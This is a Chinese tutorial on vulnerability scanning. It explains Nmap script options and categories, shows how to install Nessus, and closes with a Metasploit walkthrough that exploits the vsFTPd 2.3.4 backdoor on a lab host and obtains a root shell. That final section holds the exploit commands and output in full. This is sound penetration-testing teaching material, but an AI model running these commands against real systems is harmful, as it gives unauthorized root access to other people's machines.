系统漏洞扫描原理及工具 - 安全工具篇
漏洞扫描器对漏洞进行扫描,以验证具体目标是否存在对应的具体漏洞。但是也存在错误扫描,需要对扫描结果进行漏洞验证。
扫描器的原理大致相同都是通过发送对应的验证数据到目标具体服务进行验证。当收到目标返回的响应与存在漏洞的响应一致时,就表明存在漏洞。
神器Nmap
万能的Nmap又来了。这次利用Nmap进行漏洞扫描。
--script-args=<n1=v1,[n2=v2,...]>
:该参数是用来传递脚本里面的参数。
--script-args-file=filename
:使用文件来为脚本提供参数。
--script-trace
: 显示所有的脚本收发请求过程。
--script-updatedb
:在Nmap的scripts目录里有一个script.db,该文件中保存了当前Nmap可用的脚本,类似于一个小型数据库,如果我们开启nmap并且调用了此参数,则nmap会自行扫描scripts目录中的扩展脚本,进行数据库更新。
--script-help=脚本名称
:调用该参数后,Nmap会输出该脚本名称对应的脚本使用参数,以及详细介绍信息。
root@kali:~# nmap --script vuln 10.0.2.5
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-11 09:37 EDT
Nmap scan report for 10.0.2.5
Host is up (0.00056s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp
| ftp-vsftpd-backdoor:
| VULNERABLE:
| vsFTPd version 2.3.4 backdoor
| State: VULNERABLE (Exploitable)
| IDs: OSVDB:73573 CVE:CVE-2011-2523
| vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
| Disclosure date: 2011-07-03
| Exploit results:
| Shell command: id
| Results: uid=0(root) gid=0(root)
| References:
| http://osvdb.org/73573
| http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|_ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|_sslv2-drown:
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
...
Nmap的漏洞扫描主要利用脚本进行,我们可以看到Nmap一共有589个漏洞利用、工具脚本。
root@kali:~# ls /usr/share/nmap/scripts/ | wc -l
589
Nmap脚本主要分为以下几类,在扫描时可根据需要设置--script=类别这种方式进行比较笼统的扫描:
类别 | 说明 |
---|---|
auth | 负责处理鉴权证书(绕开鉴权)的脚本 |
broadcast | 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务 |
brute | 提供暴力破解方式,针对常见的应用如http/snmp等 |
default | 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力 |
discovery | 对网络进行更多的信息,如SMB枚举、SNMP查询等 |
dos | 用于进行拒绝服务攻击 |
exploit | 利用已知的漏洞入侵系统 |
external | 利用第三方的数据库或资源,例如进行whois解析 |
fuzzer | 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 |
intrusive | 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽 |
malware | 探测目标机是否感染了病毒、开启了后门等信息 |
safe | 此类与intrusive相反,属于安全性脚本 |
version | 负责增强服务与版本扫描(Version Detection)功能的脚本 |
vuln | 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_06 |
all | 调用所有脚本扫描 |
图形化工具Nessus
Nessus 是目前全世界最多人使用的系统漏洞扫描与分析软件。总共有超过75,000个机构使用Nessus 作为扫描该机构电脑系统的软件。
通过官网进行下载:https://www.tenable.com/downloads/nessus
下载Nessus安装Nessus:
root@kali:~# cd ../Downloads/
root@kali:~# dpkg -i Nessus-8.3.1-debian6_amd64.deb
root@kali:~# systemctl start nessusd
访问连接 https://kali:8843
漏洞利用metasploit
可以看出上面两个工具扫描出的结果并不完全一样。所以,可以使用多个扫描器进行多次扫描验证相关漏洞。
root@kali:~# msfconsole
[-] ***rtIng the Metasploit Framework console.../
[-] * WARNING: No database support: No database YAML file
[-] ***
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
lOOOOOOOO. ;d; ,OOOOOOOOl
.OOOOOOOO. .; ; ,OOOOOOOO.
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
lOOOOO. .OOOO. :OOOO. ,OOOOOl
;OOOO' .OOOO. :OOOO. ;OOOO;
.dOOo .OOOOocccxOOOO. xOOd.
,kOl .OOOOOOOOOOOOO. .dOk,
:kk;.OOOOOOOOOOOOO.cOk:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v5.0.15-dev ]
+ -- --=[ 1872 exploits - 1061 auxiliary - 328 post ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion ]
msf5 > search vsftpd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
1 cmd/unix/interact normal No Unix Command, Interact with Established Connection
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/interact
payload => cmd/unix/interact
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 10.0.2.5
rhost => 10.0.2.5
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 10.0.2.5:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.0.2.5:21 - USER: 331 Please specify the password.
[+] 10.0.2.5:21 - Backdoor service has been spawned, handling...
[+] 10.0.2.5:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.2.7:34277 -> 10.0.2.5:6200) at 2019-04-11 12:27:22 -0400
id
uid=0(root) gid=0(root)